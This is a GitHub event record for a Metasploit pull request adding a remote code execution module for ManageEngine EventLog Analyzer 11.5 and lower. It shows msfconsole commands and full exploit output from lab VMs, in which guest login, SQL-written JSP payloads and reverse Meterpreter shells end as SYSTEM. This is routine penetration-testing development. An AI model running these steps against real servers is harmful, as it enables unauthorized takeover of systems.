{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5981","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5981/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5981/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5981/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/5981","id":106453735,"number":5981,"title":"ManageEngine EventLog Analyzer Remote Code Execution","user":{"login":"xistence","id":4629127,"avatar_url":"https://avatars.githubusercontent.com/u/4629127?v=3","gravatar_id":"","url":"https://api.github.com/users/xistence","html_url":"https://github.com/xistence","followers_url":"https://api.github.com/users/xistence/followers","following_url":"https://api.github.com/users/xistence/following{/other_user}","gists_url":"https://api.github.com/users/xistence/gists{/gist_id}","starred_url":"https://api.github.com/users/xistence/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/xistence/subscriptions","organizations_url":"https://api.github.com/users/xistence/orgs","repos_url":"https://api.github.com/users/xistence/repos","events_url":"https://api.github.com/users/xistence/events{/privacy}","received_events_url":"https://api.github.com/users/xistence/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/bug","name":"bug","color":"e11d21"},{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/feature","name":"feature","color":"bfe5bf"}],"state":"open","locked":false,"assignee":{"login":"jvazquez-r7","id":1742838,"avatar_url":"https://avatars.githubusercontent.com/u/1742838?v=3","gravatar_id":"","url":"https://api.github.com/users/jvazquez-r7","html_url":"https://github.com/jvazquez-r7","followers_url":"https://api.github.com/users/jvazquez-r7/followers","following_url":"https://api.github.com/users/jvazquez-r7/following{/other_user}","gists_url":"https://api.github.com/users/jvazquez-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jvazquez-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvazquez-r7/subscriptions","organizations_url":"https://api.github.com/users/jvazquez-r7/orgs","repos_url":"https://api.github.com/users/jvazquez-r7/repos","events_url":"https://api.github.com/users/jvazquez-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jvazquez-r7/received_events","type":"User","site_admin":false},"milestone":null,"comments":5,"created_at":"2015-09-15T00:30:27Z","updated_at":"2015-09-27T05:15:19Z","closed_at":null,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5981","html_url":"https://github.com/rapid7/metasploit-framework/pull/5981","diff_url":"https://github.com/rapid7/metasploit-framework/pull/5981.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/5981.patch"},"body":"This module exploits ManageEngine 11.5 and lower by abusing an authenticated account (default guest user). After login SQL queries are executed on the PostgreSQL backend to write a JSP payload to disk, which gets executed and provides a shell.\r\n\r\nDownload ManageEngine EventLog Analuzer from: https://www.manageengine.com/products/eventlog/91517554/ManageEngine_EventLogAnalyzer_64bit.exe\r\n\r\nRun the installer and chose the One-Click installer (Tested on a Windows 7 64-bit VM)\r\n\r\nRun the exploit module:\r\n\r\nmsf exploit(manageengine_opmanager_rce) > use exploit/windows/misc/manageengine_eventlog_analyzer_rce\r\nmsf exploit(manageengine_eventlog_analyzer_rce) > set RHOST 192.168.2.114\r\nRHOST => 192.168.2.114\r\nmsf exploit(manageengine_eventlog_analyzer_rce) > exploit\r\n\r\n[*] Started reverse handler on 192.168.2.123:4444\r\n[*] 192.168.2.114:8400 - Retrieving JSESSION ID\r\n[*] 192.168.2.114:8400 - JSESSION ID Retrieved [ 0EAEFE61D225DAD280DAC71CF5A0A5FE ]\r\n[*] 192.168.2.114:8400 - Access login page\r\n[*] 192.168.2.114:8400 - Location is [ http://192.168.2.114:8400/event/index3.do;jsessionid=0EAEFE61D225DAD280DAC71CF5A0A5FE ]\r\n[*] 192.168.2.114:8400 - Following redirection\r\n[*] 192.168.2.114:8400 - Logged in, new cookies retrieved [JSESSIONID=3BD989A255E976E24EA7E2A74BE39E10; JSESSIONIDSSO=30D7117EC3A50FD5BDFB41715CC438A1;]\r\n[*] 192.168.2.114:8400 - Executing SQL queries\r\n[*] 192.168.2.114:8400 - Executing JSP payload\r\n[*] Sending stage (884782 bytes) to 192.168.2.114\r\n[*] Meterpreter session 4 opened (192.168.2.123:4444 -> 192.168.2.114:49256) at 2015-09-12 17:27:14 +0700\r\n[+] Deleted ..\\webapps\\event\\J4hr1t.jsp\r\n\r\nmeterpreter > getuid\r\nServer username: NT AUTHORITY\\SYSTEM\r\n"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/143519321","html_url":"https://github.com/rapid7/metasploit-framework/pull/5981#issuecomment-143519321","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5981","id":143519321,"user":{"login":"jvazquez-r7","id":1742838,"avatar_url":"https://avatars.githubusercontent.com/u/1742838?v=3","gravatar_id":"","url":"https://api.github.com/users/jvazquez-r7","html_url":"https://github.com/jvazquez-r7","followers_url":"https://api.github.com/users/jvazquez-r7/followers","following_url":"https://api.github.com/users/jvazquez-r7/following{/other_user}","gists_url":"https://api.github.com/users/jvazquez-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jvazquez-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvazquez-r7/subscriptions","organizations_url":"https://api.github.com/users/jvazquez-r7/orgs","repos_url":"https://api.github.com/users/jvazquez-r7/repos","events_url":"https://api.github.com/users/jvazquez-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jvazquez-r7/received_events","type":"User","site_admin":false},"created_at":"2015-09-27T05:15:18Z","updated_at":"2015-09-27T05:15:18Z","body":"It is working the last installer :):\r\n\r\n```\r\nmsf exploit(manageengine_eventlog_analyzer_rce) > rexploit\r\n[*] Reloading module...\r\n\r\n[*] Started reverse handler on 172.16.158.1:4444\r\n[*] 172.16.158.131:8400 - Retrieving JSESSION ID\r\n[*] 172.16.158.131:8400 - JSESSION ID Retrieved [ BB740842C6EAFC2B3DD73EA5773F9A2F ]\r\n[*] 172.16.158.131:8400 - Access login page\r\n[*] 172.16.158.131:8400 - Location is [ http://172.16.158.131:8400/event/index3.do;jsessionid=BB740842C6EAFC2B3DD73EA5773F9A2F ]\r\n[*] 172.16.158.131:8400 - Following redirection\r\n[*] 172.16.158.131:8400 - Logged in, new cookies retrieved [JSESSIONID=E8F07B035257C5AD406FEB49F04FA8BC; JSESSIONIDSSO=59FD8137D00265B7A2CE7EF529B2CB23;]\r\n[*] 172.16.158.131:8400 - Executing SQL queries\r\n[*] 172.16.158.131:8400 - Executing JSP payload\r\n[*] Sending stage (884782 bytes) to 172.16.158.131\r\n[*] Meterpreter session 1 opened (172.16.158.1:4444 -> 172.16.158.131:49205) at 2015-09-27 00:14:14 -0500\r\n[+] Deleted ..\\webapps\\event\\pEqp8WFhdlOl.jsp\r\n\r\nmeterpreter > getuid\r\nServer username: NT AUTHORITY\\SYSTEM\r\nmeterpreter >\r\n```\r\n\r\nI'm going to do some code cleaning by myself and landing!"}}